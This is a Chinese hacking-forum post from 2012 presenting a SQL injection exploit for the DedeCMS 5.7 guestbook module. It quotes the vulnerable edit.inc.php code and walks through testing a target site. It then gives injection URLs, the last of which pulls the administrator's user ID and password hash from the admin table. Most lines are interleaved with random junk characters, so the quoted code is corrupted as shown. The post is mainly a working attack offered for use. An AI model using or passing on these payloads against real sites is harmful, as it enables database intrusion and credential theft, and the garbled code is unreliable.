找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3770|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
& j7 ]( K# ?6 j% w% g: |$ ?
0 \3 D4 l1 o6 W漏洞文件edit.inc.php具体代码:; g( C2 z: H8 V/ N

# i/ d2 m! h1 {6 `; J* n< ?php  
; z: O" W5 o; F+ G  ]7 S
; d6 w- u- K( i/ y( Rif(!defined('DEDEINC')) exit('Request Error!');  
3 F0 f4 K3 d1 _# ~
& t9 n/ P0 n; A- ?' z6 G0 x   
% L4 ^9 Z1 H& _  }( F0 u5 v' x- @/ F  Q) a1 v8 ~  h8 _
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  : A7 P; n2 ?5 \
& e* ~8 I# D% ]1 t* ~
else $GUEST_BOOK_POS = "guestbook.php";  1 M# f4 i6 H7 {' V/ E
& n9 j, S1 z; k" {
   ! k; ]# `5 d& i  g2 e* s

2 b1 K  e/ ?: q6 _+ ?/ Z6 [1 d$ x$id = intval($id);  * K9 E% k8 E7 c4 w

' v5 H5 Q* s6 @8 Zif(empty($job)) $job='view';  & E3 p9 n3 q- ~/ o/ ]. e
9 _) f- F8 D# f. E* R" m
   6 ~! T* _+ ?/ `+ {- }7 H. D
2 i+ q+ \1 ]5 ]% W
if($job=='del' && $g_isadmin)  1 s0 p5 z' |0 i/ Y# s, h  j
; ?' u1 g4 P/ o! C0 u  V/ l: B
{  9 V" b, Y; ^' ~: X9 M) T. A' R! o
# |1 O9 N) A2 o
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
5 J- t9 k4 o7 m  ]8 V. \: f8 ?0 \
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
' s2 I" \4 H% S- ?7 ?! b
$ M* F9 w' v; S3 Zexit();  
7 X- P7 t, r2 g8 D2 V5 M
5 j1 A# I  L. m1 m/ P. s. z$ _}  
. U  O' @; v! ^# [1 l) j) n' H: X4 f( _+ J, P% G0 D! G
else if($job=='check' && $g_isadmin)  
- o7 ]# L% M, Q1 a1 [# c. N# g& ^5 j1 n* d# c
{  5 X# [' C, k, T1 f- J
5 {2 n' A. ~4 M* w1 \6 r* A8 i
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");    a: V3 x. u8 N9 F
: H/ L. t3 ?) j2 d5 c" B$ h
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  9 P+ m! E* A+ ?+ _$ c( C6 ?
. L( ~, t# ^5 F1 P3 V' m" M1 j
exit();  5 a* L+ \/ @( k8 d# [  q
' [5 H* V& {; t& g
}  + N6 N% d$ U8 Q! ^9 _4 N" R
/ ?5 X8 Q( Q+ v2 ~) \
else if($job=='editok')  . r+ T" n4 H% {2 V2 a
& f% G- |3 Z% d' a0 ]
{  
9 X; B- x0 G) r2 \( f
9 E( N1 H0 h, b, J$ I+ N$remsg = trim($remsg);    z1 J8 _8 M, @  p, m3 e
& O7 ~; r& D; C* r6 ^( I) t% G& {
if($remsg!='')  
1 v$ R2 O7 G; ]8 b' z
0 j6 H' p$ J# ]) U0 x/ [{  
' x0 p7 \7 {. a% z2 G$ s* z7 A- i6 V. {
//管理员回复不过滤HTML By:Errorera blog:errs.cc  2 y# f+ m1 y! n; Y) [0 a- r  L5 s

( m% T/ `  O0 F9 qif($g_isadmin)  
& c* U5 U8 t4 H' ?- ?' N/ |% }5 x' y$ D' A& ^5 c3 [
{  . D) d1 W2 D; s# E3 C& r

# p8 K4 ~$ }* ~# |9 p$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  3 L7 L% q6 e- m
5 ?+ \" U8 @4 \; s0 @6 f; L
//$remsg <br /><font color=red>管理员回复:</font> }  " K5 i4 J$ j: j% g! ]/ O8 x9 u

$ N' Z8 }) k* pelse
  e0 `! Z8 z2 C" v1 _% j( m
% J& c, ^; E1 {{  
2 |) j* \; |- _  c3 `- R
0 w$ {3 W4 F) ?# A. p! W$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  2 w: l1 ^: Z. {$ q1 h5 H" b% N
! J; `5 m. J) ?& k$ n
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
, s( H. O/ {2 M4 z% i9 B
  }  x2 Y; t/ N& p- S$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  $ L# x8 [) e" E
, V* n8 A* w  w$ Y* h
$msg = $oldmsg.$remsg;  
, G% F$ L! |7 G6 E- u# e9 N% h9 a# ^" a! M' `9 ], k: Z
}  
% i/ I' X% y% G9 z+ D- C: b& O( P0 P" L. h1 F  `
}  
. H8 h3 u+ t8 A( ^# d5 V+ P  z. L! H0 Y  @) l# @) j. J
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  % s/ F2 }" X  c' M
! r# W. W- v/ }8 `1 r% v* n7 _. ]
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
9 Q' }! J4 d3 {5 V0 d( S
8 ?: M5 D7 F0 _/ @& M. H0 R+ hShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ! C( k; |1 e! l1 ~% f$ y* O5 `
* K# q* A2 z8 [. u# h
exit();  
( G* y7 d- C. u- k5 y- E
0 O% d& z3 o) D. J) A}  ' M2 @, M. K# O) H1 z+ }
( N) A8 w& @! m1 M
//home:www.errs.cc  
) _1 G6 }! |/ X$ i( U- H( t+ |
if($g_isadmin)  6 \, k6 U1 m+ M: Z2 Q8 e4 S' C
; ~' e4 h! o: v
{  
' l8 T0 u( C5 b& o  ~! P' k+ C1 W9 [" D  Y
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  2 _- x; c. O) I0 @0 X8 a7 |& F

5 j1 A+ H1 S4 U  n) l! _0 }8 arequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
' L) f7 [$ p$ Z* b# {2 @% Y) h9 n, l9 s( X6 M9 S: {
}  / z' o5 k" H/ ~6 o, w' {1 C4 t

. Y, a. {3 t6 r6 H+ pelse
* f) D6 O* W4 F
) A/ X4 g6 v) w7 G+ a{  
! p6 j6 f( m* m0 W) S$ S& A
" |5 G/ [8 _/ T" @3 I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
2 U( H& L4 W2 g
/ F& @; b5 U- W& t4 R* n% f4 frequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
: R1 L2 z+ Y9 k) t8 j( \! ~  j
& Z5 L$ Z& A; }$ V" i* n2 F  g} 漏洞成功需要条件:
5 @$ k' _+ [3 {* V1. php magic_quotes_gpc=off& Z0 X& Z8 }( R! z  v$ T  c: k
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。6 U9 P) R5 o+ C: n. ]; |, @, j
. I+ q4 P+ L$ Z" T! u
怎么判断是否存在漏洞:. d  [$ x' Y" t# N. ]
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 I8 A9 F7 |' ]# |) ]然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; |3 Q/ h: i0 _% K) F
访问:
  y. ?2 S  W3 M
- a. T) G, s* L- [. u; j' \www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了7 \4 _9 Y! d1 H7 b5 U* G
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
2 Y2 Z4 K- M9 }: E- S
+ G) [1 }% q' _! g$ r
0 b; l1 u( Q( I2 T' Y; Q8 ?明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: Z5 z5 s; L" {$ v! ]! a  B2 a) d0 J
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 F/ k! l1 U0 D3 r6 ?7 q" B9 F2 D# o: K
那么再次访问/ o6 \7 P! m! z; t' g* k

5 p& s+ S& x& Q; Swww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
) R/ g7 y) u6 r7 a8 m
$ D! V3 k. d) `5 \# g8 Y* A  S大概利用就是这样,大家有兴趣的多研究下!!. P- D" b# x3 Z' V  m, l
7 G. m- l8 H) _% \7 C6 `' j3 a) B1 C
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
2 I2 m, w* ~5 r/ c2 m! @
& g% x3 q7 i% ~0 r2 }. i5 i5 k. xview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表